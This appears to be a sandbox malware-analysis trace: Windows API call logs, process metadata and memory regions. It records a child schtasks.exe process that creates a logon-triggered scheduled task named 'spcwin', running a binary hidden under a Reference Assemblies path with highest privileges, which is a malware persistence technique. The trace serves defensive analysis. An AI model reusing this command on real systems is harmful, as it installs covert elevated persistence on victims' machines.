HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc70 | out: hHeap=0x1d0000) returned 1 [0130.196] GetProcessHeap () returned 0x1d0000 [0130.196] GetProcessHeap () returned 0x1d0000 [0130.197] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed670) returned 1 [0130.197] GetProcessHeap () returned 0x1d0000 [0130.197] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed670) returned 0xc [0130.197] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed670 | out: hHeap=0x1d0000) returned 1 [0130.197] GetProcessHeap () returned 0x1d0000 [0130.197] GetProcessHeap () returned 0x1d0000 [0130.197] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc40) returned 1 [0130.197] GetProcessHeap () returned 0x1d0000 [0130.197] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecc40) returned 0x20 [0130.197] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc40 | out: hHeap=0x1d0000) returned 1 [0130.197] GetProcessHeap () returned 0x1d0000 [0130.197] GetProcessHeap () returned 0x1d0000 [0130.198] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eba60) returned 1 [0130.198] GetProcessHeap () returned 0x1d0000 [0130.198] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eba60) returned 0x18 [0130.198] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eba60 | out: hHeap=0x1d0000) returned 1 [0130.198] GetProcessHeap () returned 0x1d0000 [0130.198] GetProcessHeap () returned 0x1d0000 [0130.198] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a50) returned 1 [0130.198] GetProcessHeap () returned 0x1d0000 [0130.198] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a50) returned 0x20 [0130.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a50 | out: hHeap=0x1d0000) returned 1 [0130.199] GetProcessHeap () returned 0x1d0000 [0130.199] GetProcessHeap () returned 0x1d0000 [0130.199] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a80) returned 1 [0130.199] GetProcessHeap () returned 0x1d0000 [0130.199] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a80) returned 0x20 [0130.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a80 | out: hHeap=0x1d0000) returned 1 [0130.199] GetProcessHeap () returned 0x1d0000 [0130.199] GetProcessHeap () returned 0x1d0000 [0130.199] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ab0) returned 1 [0130.199] GetProcessHeap () returned 0x1d0000 [0130.199] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5ab0) returned 0x20 [0130.200] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ab0 | out: hHeap=0x1d0000) returned 1 [0130.200] GetProcessHeap () returned 0x1d0000 [0130.200] GetProcessHeap () returned 0x1d0000 [0130.200] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ae0) returned 1 [0130.200] GetProcessHeap () returned 0x1d0000 [0130.200] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5ae0) returned 0x20 [0130.201] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ae0 | out: hHeap=0x1d0000) returned 1 [0130.201] GetProcessHeap () returned 0x1d0000 [0130.201] GetProcessHeap () returned 0x1d0000 [0130.201] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eba80) returned 1 [0130.201] GetProcessHeap () returned 0x1d0000 [0130.201] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eba80) returned 0x18 [0130.201] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eba80 | out: hHeap=0x1d0000) returned 1 [0130.201] GetProcessHeap () returned 0x1d0000 [0130.201] GetProcessHeap () returned 0x1d0000 [0130.201] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b10) returned 1 [0130.201] GetProcessHeap () returned 0x1d0000 [0130.201] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b10) returned 0x20 [0130.201] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b10 | out: hHeap=0x1d0000) returned 1 [0130.201] GetProcessHeap () returned 0x1d0000 [0130.202] GetProcessHeap () returned 0x1d0000 [0130.202] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ba0) returned 1 [0130.202] GetProcessHeap () returned 0x1d0000 [0130.202] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5ba0) returned 0x20 [0130.202] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ba0 | out: hHeap=0x1d0000) returned 1 [0130.202] GetProcessHeap () returned 0x1d0000 [0130.202] GetProcessHeap () returned 0x1d0000 [0130.202] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c00) returned 1 [0130.202] GetProcessHeap () returned 0x1d0000 [0130.202] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c00) returned 0x20 [0130.203] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c00 | out: hHeap=0x1d0000) returned 1 [0130.203] GetProcessHeap () returned 0x1d0000 [0130.203] GetProcessHeap () returned 0x1d0000 [0130.203] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c60) returned 1 [0130.203] GetProcessHeap () returned 0x1d0000 [0130.203] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c60) returned 0x20 [0130.203] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c60 | out: hHeap=0x1d0000) returned 1 [0130.203] GetProcessHeap () returned 0x1d0000 [0130.203] GetProcessHeap () returned 0x1d0000 [0130.203] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c90) returned 1 [0130.203] GetProcessHeap () returned 0x1d0000 [0130.204] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c90) returned 0x20 [0130.204] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c90 | out: hHeap=0x1d0000) returned 1 [0130.204] GetProcessHeap () returned 0x1d0000 [0130.204] GetProcessHeap () returned 0x1d0000 [0130.204] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebaa0) returned 1 [0130.204] GetProcessHeap () returned 0x1d0000 [0130.204] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebaa0) returned 0x18 [0130.204] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebaa0 | out: hHeap=0x1d0000) returned 1 [0130.204] GetProcessHeap () returned 0x1d0000 [0130.204] GetProcessHeap () returned 0x1d0000 [0130.204] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5bd0) returned 1 [0130.204] GetProcessHeap () returned 0x1d0000 [0130.205] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5bd0) returned 0x20 [0130.205] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5bd0 | out: hHeap=0x1d0000) returned 1 [0130.205] GetProcessHeap () returned 0x1d0000 [0130.205] GetProcessHeap () returned 0x1d0000 [0130.205] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eba20) returned 1 [0130.205] GetProcessHeap () returned 0x1d0000 [0130.205] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eba20) returned 0x18 [0130.205] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eba20 | out: hHeap=0x1d0000) returned 1 [0130.205] exit (_Code=0) Thread: id = 108 os_tid = 0xed0 Process: id = "12" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x43676000" os_pid = "0xed4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"spcwin\" /sc ONLOGON /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1792 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1793 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1794 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1795 start_va = 0x160000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1796 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1797 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1798 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1799 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1800 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1801 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1802 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1803 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1804 start_va = 0x1e0000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1805 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1806 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1807 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1808 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1809 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1810 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1811 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1812 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1813 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1814 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1815 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1816 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1817 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1818 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1819 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1820 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1821 start_va = 0x350000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1822 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1823 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1824 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1825 start_va = 0x530000 end_va = 0x6b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 1826 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1827 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1828 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1829 start_va = 0x6c0000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1830 start_va = 0x850000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 1831 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1832 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1833 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1834 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1835 start_va = 0x1c50000 end_va = 0x1f1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1836 start_va = 0x450000 end_va = 0x4ccfff monitored = 0 entry_point = 0x45cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1837 start_va = 0x450000 end_va = 0x4ccfff monitored = 0 entry_point = 0x45cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1838 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1839 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1840 start_va = 0x1f20000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 1841 start_va = 0x1f20000 end_va = 0x1ffefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 1842 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 1843 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1844 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1845 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1846 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1847 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1848 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1849 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1850 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1851 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1852 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 109 os_tid = 0xed8 [0129.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1df8e0 | out: lpSystemTimeAsFileTime=0x1df8e0*(dwLowDateTime=0x1c7415c0, dwHighDateTime=0x1d8a92a)) [0129.900] GetCurrentProcessId () returned 0xed4 [0129.900] GetCurrentThreadId () returned 0xed8 [0129.900] GetTickCount () returned 0x1385f26 [0129.901] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1df8e8 | out: lpPerformanceCount=0x1df8e8*=2060876390593) returned 1 [0129.901] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0129.901] __set_app_type (_Type=0x1) [0129.901] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0129.901] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0129.902] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0129.902] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0129.902] _onexit (_Func=0xff152afc) returned 0xff152afc [0129.902] _onexit (_Func=0xff152b58) returned 0xff152b58 [0129.903] _onexit (_Func=0xff152b80) returned 0xff152b80 [0129.903] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0129.903] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0129.903] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0129.903] _onexit (_Func=0xff152c20) returned 0xff152c20 [0129.903] _onexit (_Func=0xff152c48) returned 0xff152c48 [0129.903] _onexit (_Func=0xff152c70) returned 0xff152c70 [0129.904] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0129.904] WinSqmIsOptedIn () returned 0x0 [0129.904] GetProcessHeap () returned 0x250000 [0129.904] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba20 [0129.904] SetLastError (dwErrCode=0x0) [0129.904] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0129.904] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0129.904] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0129.905] VerifyVersionInfoW (in: lpVersionInformation=0x1df0a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1df0a0) returned 1 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba40 [0129.905] lstrlenW (lpString="") returned 0 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x2) returned 0x26ba60 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x2659b0 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba80 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x2659e0 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a10 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a40 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a70 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26baa0 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265aa0 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ad0 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b00 [0129.905] GetProcessHeap () returned 0x250000 [0129.905] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b30 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bac0 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b60 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b90 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265bc0 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265bf0 [0129.906] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0129.906] SetLastError (dwErrCode=0x0) [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c20 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c50 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c80 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265cb0 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ce0 [0129.906] GetProcessHeap () returned 0x250000 [0129.906] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bae0 [0129.906] _memicmp (_Buf1=0x26bae0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.906] GetProcessHeap () returned 0x250000 [0129.907] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x208) returned 0x26bc80 [0129.907] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26bc80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0129.907] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0129.909] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0129.911] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0129.912] GetProcessHeap () returned 0x250000 [0129.912] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x74e) returned 0x26c230 [0129.912] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") 